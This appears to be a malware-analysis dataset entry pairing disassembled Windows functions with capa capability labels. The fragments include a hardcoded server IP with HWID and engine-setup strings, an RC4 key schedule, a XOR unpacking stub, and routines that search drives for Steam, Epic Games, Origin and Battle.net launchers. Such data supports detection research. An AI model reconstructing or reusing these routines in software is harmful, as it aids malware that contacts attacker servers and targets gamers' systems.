joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10010ef0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10054018
mov eax, dword fs:[0]
push eax
sub esp, 0x70
mov eax, dword [0x1006c070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, str.Initializing_extender
mov ecx, 0x1006dda0
call fcn.10007a10
push eax
call fcn.10007f30
add esp, 4
cmp dword [0x1006fd88], 0
jne 0x10011136
mov dword [0x1006fd88], 1
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
call fcn.100117e0
mov dword [ebp - 0x60], eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
push 8
push str.dsetup.u
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.10003100
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x60]
call fcn.10004a40
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0
mov bl, al
call fcn.10002e80
test bl, bl
je 0x1001104d
push 9
push str.server_ip
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.10003100
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 2
push eax
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x60]
call fcn.10005090
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 4
call fcn.10002e80
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
mov ecx, 0x10076790
push eax
call fcn.10003200
lea eax, [ebp - 0x40]
push eax
call fcn.10012770
push eax
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 5
call fcn.10011870
lea edx, [ebp - 0x7c]
mov byte [ebp - 4], 6
mov ecx, 0x1006dda0
call fcn.10007cc0
push eax
call fcn.10007f30
add esp, 8
lea ecx, [ebp - 0x7c]
call fcn.10002e80
lea ecx, [ebp - 0x40]
call fcn.10002e80
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0
call fcn.10002e80
jmp 0x10011065
mov edx, str.Failed_to_load_configuration.
mov ecx, 0x1006dda0
call fcn.10007a10
push eax
call fcn.10007f30
add esp, 4
call fcn.10015630
test al, al
je 0x10011119
mov edx, str.PHX_created
mov ecx, 0x1006dda0
call fcn.10007a10
push eax
call fcn.10007f30
add esp, 4
call fcn.1000e510
test al, al
je 0x10011119
mov edx, str.HWID_created
mov ecx, 0x1006dda0
call fcn.10007a10
push eax
call fcn.10007f30
add esp, 4
lea eax, [ebp - 0x40]
push eax
call fcn.100094b0
mov byte [ebp - 4], 7
cmp dword [eax + 0x14], 0x10
jb 0x100110c4
mov eax, dword [eax]
push eax
call dword [0x100766d8]
lea ecx, [ebp - 0x40]
mov dword [0x1006fd80], eax
mov byte [ebp - 4], 0
call fcn.10002e80
cmp dword [0x1006fd80], 0
je 0x10011119
mov edx, str.ENGINE_created
mov ecx, 0x1006dda0
call fcn.10007a10
push eax
call fcn.10007f30
push 0
push 0
push 0x10010df0
call fcn.10038466
push 0
push 0
push 0x10011180
call fcn.10038466
add esp, 0x1c
mov eax, dword [ebp - 0x60]
lea ecx, [ebp - 0x60]
push eax
push dword [eax]
lea eax, [ebp - 0x64]
push eax
call fcn.100112b0
push dword [ebp - 0x60]
call fcn.1002cc23
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002cc28
mov esp, ebp
pop ebp
ret
Function at 0x10012770
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10054048
mov eax, dword fs:[0]
push eax
sub esp, 0x70
mov eax, dword [0x1006c070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x78]
push 0xe
push str.158.69.118.111
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x64], 0xf
mov dword [ebp - 0x68], 0
mov byte [ebp - 0x78], 0
call fcn.10003100
mov dword [ebp - 4], 0
lea eax, [ebp - 0x78]
cmp dword [ebp - 0x64], 0x10
cmovae eax, dword [ebp - 0x78]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10012814
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
test ecx, ecx
je 0x10012814
movzx eax, byte [ecx + 3]
push eax
movzx eax, byte [ecx + 2]
push eax
movzx eax, byte [ecx + 1]
push eax
movzx eax, byte [ecx]
push eax
lea eax, [ebp - 0x60]
push str._u._u._u._u
push eax
call fcn.10012700
add esp, 0x18
lea edx, [ebp - 0x60]
jmp 0x10012819
mov edx, 0x10063d68
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
cmp byte [edx], 0
jne 0x10012833
xor ecx, ecx
jmp 0x10012841
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10012838
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.10003100
lea ecx, [ebp - 0x78]
call fcn.10002e80
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002cc28
mov esp, ebp
pop ebp
ret 4

Function at 0x100148c0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
jmp 0x100148dc
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp - 4]
push eax
push dword [ebp + 8]
lea ecx, [ebx + 0x100]
mov dword [ebx + 0x110], eax
push ecx
call fcn.1002f9d0
add esp, 0xc
xor eax, eax
nop dword [eax]
mov byte [eax + ebx], al
inc eax
cmp eax, 0x100
jl 0x10014900
xor edi, edi
mov dword [ebx + 0x114], 0
mov dword [ebx + 0x118], 0
xor esi, esi
mov dword [ebp + 0xc], edi
nop word [eax + eax]
mov dl, byte [esi + ebx]
movzx eax, byte [ebx + edi + 0x100]
add eax, dword [ebp + 0xc]
movzx ecx, dl
add ecx, eax
movzx ecx, cl
mov dword [ebp + 0xc], ecx
mov al, byte [ecx + ebx]
mov byte [esi + ebx], al
lea eax, [edi + 1]
mov byte [ecx + ebx], dl
inc esi
cdq
idiv dword [ebx + 0x110]
mov edi, edx
cmp esi, 0x100
jl 0x10014930
jmp 0x10014979
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10043210
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1004308f

Function at 0x100494ad
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1004916d
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x6f167750
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..text_1
mov ebx, 0x42f314
nop
mov ecx, 0x76171948
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x4025f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x61c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x618], eax
push ebx
push esi
push edi
test ecx, ecx
je 0x402839
cmp dword [ecx + 4], 4
jne 0x402839
mov ecx, dword [ecx + 8]
test ecx, ecx
je 0x402839
push 7
mov edx, 0x42ddc4
call fcn.00408b60
add esp, 4
test eax, eax
je 0x402839
cmp dword [eax + 4], 5
jne 0x402839
mov eax, dword [eax + 8]
mov dword [esp + 0x10], eax
test eax, eax
je 0x402839
mov ebx, dword [eax + 8]
xor ecx, ecx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x14], ecx
test ebx, ebx
je 0x402839
nop
cmp ecx, dword [eax + 8]
jae 0x40282c
mov eax, dword [eax + 4]
mov edx, dword [eax + ecx*4]
test edx, edx
je 0x402828
xor esi, esi
lea eax, [edx + 8]
cmp dword [edx + 4], 2
cmovne eax, esi
test eax, eax
je 0x402828
mov esi, dword [eax]
test esi, esi
je 0x402828
push 0x200
lea eax, [esp + 0x24]
push 0
push eax
call fcn.0040bf00
push 0x400
lea eax, [esp + 0x230]
push 0
push eax
call fcn.0040bf00
push 0x1ff
lea eax, [esp + 0x3c]
push esi
push eax
call fcn.0040e0d0
push 0x1ff
lea eax, [esp + 0x48]
mov byte [esp + 0x247], 0
push str..reg
push eax
call fcn.0040e200
push 0x42e9f8
push esi
mov byte [esp + 0x257], 0
call fcn.0040ed51
mov ebx, eax
add esp, 0x38
test ebx, ebx
je 0x4027d9
push 2
push 0
push ebx
call fcn.00410588
add esp, 0xc
test eax, eax
jne 0x4027d0
push ebx
call fcn.004101cf
add esp, 4
mov dword [esp + 0x18], edx
mov edi, eax
test edx, edx
jl 0x4027d0
jg 0x40274d
cmp edi, 8
jb 0x4027d0
lea eax, [edi + 2]
push eax
call fcn.004152ca
mov esi, eax
add esp, 4
test esi, esi
je 0x4027d0
push 0
push 0
push ebx
call fcn.00410588
add esp, 0xc
test eax, eax
jne 0x4027c7
push ebx
push edi
push 1
push esi
call fcn.00415210
add esp, 0x10
cmp edi, eax
jne 0x4027c7
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x4027c7
mov ecx, 0xfeff
mov word [edi + esi], ax
cmp cx, word [esi]
mov edx, esi
lea ecx, [esp + 0x20]
jne 0x4027ac
shrd edi, eax, 1
sar eax, 1
push eax
push edi
call fcn.00406c80
jmp 0x4027b3
push eax
push edi
call fcn.004069d0
add esp, 8
push esi
call fcn.0041501c
push ebx
call fcn.0040ea39
add esp, 8
jmp 0x4027d9
push esi
call fcn.0041501c
add esp, 4
push ebx
call fcn.0040ea39
add esp, 4
lea eax, [esp + 0x20]
push eax
push str._s__S
lea eax, [esp + 0x228]
push 0x1ff
push eax
call fcn.00406990
xor eax, eax
lea edx, [esp + 0x230]
push eax
push 1
mov ecx, str.regedit
mov word [esp + 0x636], ax
call section..text
lea eax, [esp + 0x38]
push eax
call fcn.0040e7c3
mov ecx, dword [esp + 0x30]
add esp, 0x1c
mov ebx, dword [esp + 0x1c]
mov eax, dword [esp + 0x10]
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, ebx
jb 0x402670
mov ecx, dword [esp + 0x624]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040a851
mov esp, ebp
pop ebp
ret
Function at 0x403c70
Capabilities:
Check if file exists
Enumerate files on windows
Get disk information
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x664
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x660], eax
push ebx
push esi
push edi
push 0x200
lea eax, [esp + 0x46c]
mov dword [esp + 0x18], ecx
push 0
or ebx, 0xffffffff
push eax
mov dword [esp + 0x1c], ebx
call fcn.0040bf00
push 0x200
lea eax, [esp + 0x278]
push 0
push eax
call fcn.0040bf00
push 0x250
lea eax, [esp + 0x34]
push 0
push eax
call fcn.0040bf00
add esp, 0x24
lea eax, [esp + 0x468]
or esi, ebx
push eax
push 0xff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
xor eax, eax
lea edi, [esp + 0x468]
mov dword [esp + 0x65e], eax
mov dword [esp + 0x662], eax
mov word [esp + 0x666], ax
cmp ax, word [esp + 0x468]
je 0x403ea3
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileW]
nop dword [eax]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x403e7e
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 5
je 0x403e6c
push 0xff
lea eax, [esp + 0x26c]
push edi
push eax
call fcn.0040e084
xor eax, eax
push 0xff
mov word [esp + 0x476], ax
lea eax, [esp + 0x278]
push 0x42e420
push eax
call fcn.0040de40
xor eax, eax
add esp, 0x18
mov word [esp + 0x466], ax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x26c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x403e6c
nop dword [eax + eax]
test dword [esp + 0x18], 0x10
je 0x403e03
lea eax, [esp + 0x44]
push str.origin
push eax
call fcn.0040df83
add esp, 8
test eax, eax
jne 0x403e03
push 0xf3
mov word [esp + 0x284], ax
lea eax, [esp + 0x284]
push str.origindd_launcher.exe
push eax
call fcn.0040e084
xor eax, eax
add esp, 0xc
mov word [esp + 0x466], ax
lea eax, [esp + 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x403e03
test al, 0x10
je 0x403e11
lea eax, [esp + 0x18]
push eax
push esi
call ebx
test eax, eax
jne 0x403da0
jmp 0x403e62
xor eax, eax
mov word [esp + 0x280], ax
lea eax, [esp + 0x268]
push 0x102
push eax
push dword [esp + 0x1c]
call fcn.0040e084
mov eax, dword [esp + 0x20]
xor ecx, ecx
push 0x102
push str.origin
push eax
mov word [eax + 0x204], cx
call fcn.0040de40
mov eax, dword [esp + 0x2c]
add esp, 0x18
xor ecx, ecx
mov dword [esp + 0x10], ecx
mov word [eax + 0x204], cx
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
or esi, 0xffffffff
add edi, 8
xor eax, eax
cmp ax, word [edi]
jne 0x403d20
mov eax, dword [esp + 0x10]
cmp esi, 0xffffffff
je 0x403ea5
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x660]
xor ecx, esp
call fcn.0040a851
mov esp, ebp
pop ebp
ret
mov eax, ebx
mov ecx, dword [esp + 0x66c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040a851
mov esp, ebp
pop ebp
ret
Function at 0x404240
Capabilities:
Enumerate files on windows
Get disk information
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x65c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x658], eax
push ebx
push esi
push edi
push 0x200
lea eax, [esp + 0x264]
or ebx, 0xffffffff
push 0
push eax
mov dword [esp + 0x18], ebx
call fcn.0040bf00
add esp, 0xc
lea eax, [esp + 0x460]
push 0x200
push 0
push eax
call fcn.0040bf00
add esp, 0xc
lea eax, [esp + 0x10]
push 0x250
push 0
push eax
call fcn.0040bf00
add esp, 0xc
lea eax, [esp + 0x260]
or esi, ebx
push eax
push 0xff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
xor eax, eax
lea edi, [esp + 0x260]
mov dword [esp + 0x456], eax
mov dword [esp + 0x45a], eax
mov word [esp + 0x45e], ax
cmp ax, word [esp + 0x260]
je 0x40448b
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileW]
nop
mov eax, dword [esp + 0xc]
test eax, eax
je 0x404466
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 5
je 0x404454
push 0xff
lea eax, [esp + 0x464]
push edi
push eax
call fcn.0040e084
add esp, 0xc
xor eax, eax
mov word [esp + 0x65e], ax
lea eax, [esp + 0x460]
push 0xff
push 0x42e420
push eax
call fcn.0040de40
xor eax, eax
add esp, 0xc
mov word [esp + 0x65e], ax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x404454
nop
test dword [esp + 0x10], 0x10
je 0x404390
lea eax, [esp + 0x3c]
push 0x42e4a0
push eax
call fcn.0040df83
add esp, 8
test eax, eax
je 0x4043a1
lea eax, [esp + 0x10]
push eax
push esi
call ebx
test eax, eax
jne 0x404370
jmp 0x40444a
xor eax, eax
push 0xff
mov word [esp + 0x47c], ax
lea eax, [esp + 0x464]
push 0x42e4a0
push eax
call fcn.0040de40
add esp, 0xc
xor eax, eax
mov word [esp + 0x65e], ax
lea eax, [esp + 0x260]
push pe_nt_image_headers32
push eax
push str.ProgramFiles_x86_
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x404403
push pe_nt_image_headers32
lea eax, [esp + 0x264]
push eax
push str.ProgramFiles
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
xor eax, eax
push 0xff
mov word [esp + 0x462], ax
lea eax, [esp + 0x264]
push str.Battle.net
push eax
call fcn.0040de40
add esp, 8
lea edx, [esp + 0x464]
lea ecx, [esp + 0x264]
call fcn.00407740
add esp, 4
call fcn.00403ec0
mov dword [esp + 0xc], 0
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
or esi, 0xffffffff
add edi, 8
xor eax, eax
cmp ax, word [edi]
jne 0x4042f0
mov eax, dword [esp + 0xc]
cmp esi, 0xffffffff
je 0x40448d
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x658]
xor ecx, esp
call fcn.0040a851
mov esp, ebp
pop ebp
ret
mov eax, ebx
mov ecx, dword [esp + 0x664]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040a851
mov esp, ebp
pop ebp
ret
Function at 0x404cf0
Capabilities:
Check if file exists
Enumerate files on windows
Get disk information
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x664
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x660], eax
push ebx
push esi
push edi
push 0x200
lea eax, [esp + 0x46c]
mov dword [esp + 0x18], ecx
push 0
or ebx, 0xffffffff
push eax
mov dword [esp + 0x1c], ebx
call fcn.0040bf00
push 0x200
lea eax, [esp + 0x278]
push 0
push eax
call fcn.0040bf00
push 0x250
lea eax, [esp + 0x34]
push 0
push eax
call fcn.0040bf00
add esp, 0x24
lea eax, [esp + 0x468]
or esi, ebx
push eax
push 0xff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
xor eax, eax
lea edi, [esp + 0x468]
mov dword [esp + 0x65e], eax
mov dword [esp + 0x662], eax
mov word [esp + 0x666], ax
cmp ax, word [esp + 0x468]
je 0x404f23
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileW]
nop dword [eax]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x404efe
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 5
je 0x404eec
push 0xff
lea eax, [esp + 0x26c]
push edi
push eax
call fcn.0040e084
xor eax, eax
push 0xff
mov word [esp + 0x476], ax
lea eax, [esp + 0x278]
push 0x42e420
push eax
call fcn.0040de40
xor eax, eax
add esp, 0x18
mov word [esp + 0x466], ax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x26c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x404eec
nop dword [eax + eax]
test dword [esp + 0x18], 0x10
je 0x404e83
lea eax, [esp + 0x44]
push str.Epic_Games
push eax
call fcn.0040df83
add esp, 8
test eax, eax
jne 0x404e83
push 0xf3
mov word [esp + 0x284], ax
lea eax, [esp + 0x284]
push str.Epic_Gamesdd_launcher.exe
push eax
call fcn.0040e084
xor eax, eax
add esp, 0xc
mov word [esp + 0x466], ax
lea eax, [esp + 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x404e83
test al, 0x10
je 0x404e91
lea eax, [esp + 0x18]
push eax
push esi
call ebx
test eax, eax
jne 0x404e20
jmp 0x404ee2
xor eax, eax
mov word [esp + 0x280], ax
lea eax, [esp + 0x268]
push 0x102
push eax
push dword [esp + 0x1c]
call fcn.0040e084
mov eax, dword [esp + 0x20]
xor ecx, ecx
push 0x102
push str.Epic_Games
push eax
mov word [eax + 0x204], cx
call fcn.0040de40
mov eax, dword [esp + 0x2c]
add esp, 0x18
xor ecx, ecx
mov dword [esp + 0x10], ecx
mov word [eax + 0x204], cx
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
or esi, 0xffffffff
add edi, 8
xor eax, eax
cmp ax, word [edi]
jne 0x404da0
mov eax, dword [esp + 0x10]
cmp esi, 0xffffffff
je 0x404f25
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x660]
xor ecx, esp
call fcn.0040a851
mov esp, ebp
pop ebp
ret
mov eax, ebx
mov ecx, dword [esp + 0x66c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040a851
mov esp, ebp
pop ebp
ret
Function at 0x405880
Capabilities:
Check if file exists
Enumerate files on windows
Get disk information
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x664
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x660], eax
push ebx
push esi
push edi
push 0x200
lea eax, [esp + 0x46c]
mov dword [esp + 0x18], ecx
push 0
or ebx, 0xffffffff
push eax
mov dword [esp + 0x1c], ebx
call fcn.0040bf00
push 0x200
lea eax, [esp + 0x278]
push 0
push eax
call fcn.0040bf00
push 0x250
lea eax, [esp + 0x34]
push 0
push eax
call fcn.0040bf00
add esp, 0x24
lea eax, [esp + 0x468]
or esi, ebx
push eax
push 0xff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
xor eax, eax
lea edi, [esp + 0x468]
mov dword [esp + 0x65e], eax
mov dword [esp + 0x662], eax
mov word [esp + 0x666], ax
cmp ax, word [esp + 0x468]
je 0x405ab3
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileW]
nop dword [eax]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x405a8e
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 5
je 0x405a7c
push 0xff
lea eax, [esp + 0x26c]
push edi
push eax
call fcn.0040e084
xor eax, eax
push 0xff
mov word [esp + 0x476], ax
lea eax, [esp + 0x278]
push 0x42e420
push eax
call fcn.0040de40
xor eax, eax
add esp, 0x18
mov word [esp + 0x466], ax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x26c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405a7c
nop dword [eax + eax]
test dword [esp + 0x18], 0x10
je 0x405a13
lea eax, [esp + 0x44]
push str.steam
push eax
call fcn.0040df83
add esp, 8
test eax, eax
jne 0x405a13
push 0xf3
mov word [esp + 0x284], ax
lea eax, [esp + 0x284]
push str._steamdd_launcher.exe
push eax
call fcn.0040e084
xor eax, eax
add esp, 0xc
mov word [esp + 0x466], ax
lea eax, [esp + 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x405a13
test al, 0x10
je 0x405a21
lea eax, [esp + 0x18]
push eax
push esi
call ebx
test eax, eax
jne 0x4059b0
jmp 0x405a72
xor eax, eax
mov word [esp + 0x280], ax
lea eax, [esp + 0x268]
push 0x102
push eax
push dword [esp + 0x1c]
call fcn.0040e084
mov eax, dword [esp + 0x20]
xor ecx, ecx
push 0x102
push str.steam
push eax
mov word [eax + 0x204], cx
call fcn.0040de40
mov eax, dword [esp + 0x2c]
add esp, 0x18
xor ecx, ecx
mov dword [esp + 0x10], ecx
mov word [eax + 0x204], cx
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
or esi, 0xffffffff
add edi, 8
xor eax, eax
cmp ax, word [edi]
jne 0x405930
mov eax, dword [esp + 0x10]
cmp esi, 0xffffffff
je 0x405ab5
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x660]
xor ecx, esp
call fcn.0040a851
mov esp, ebp
pop ebp
ret
mov eax, ebx
mov ecx, dword [esp + 0x66c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040a851
mov esp, ebp
pop ebp
ret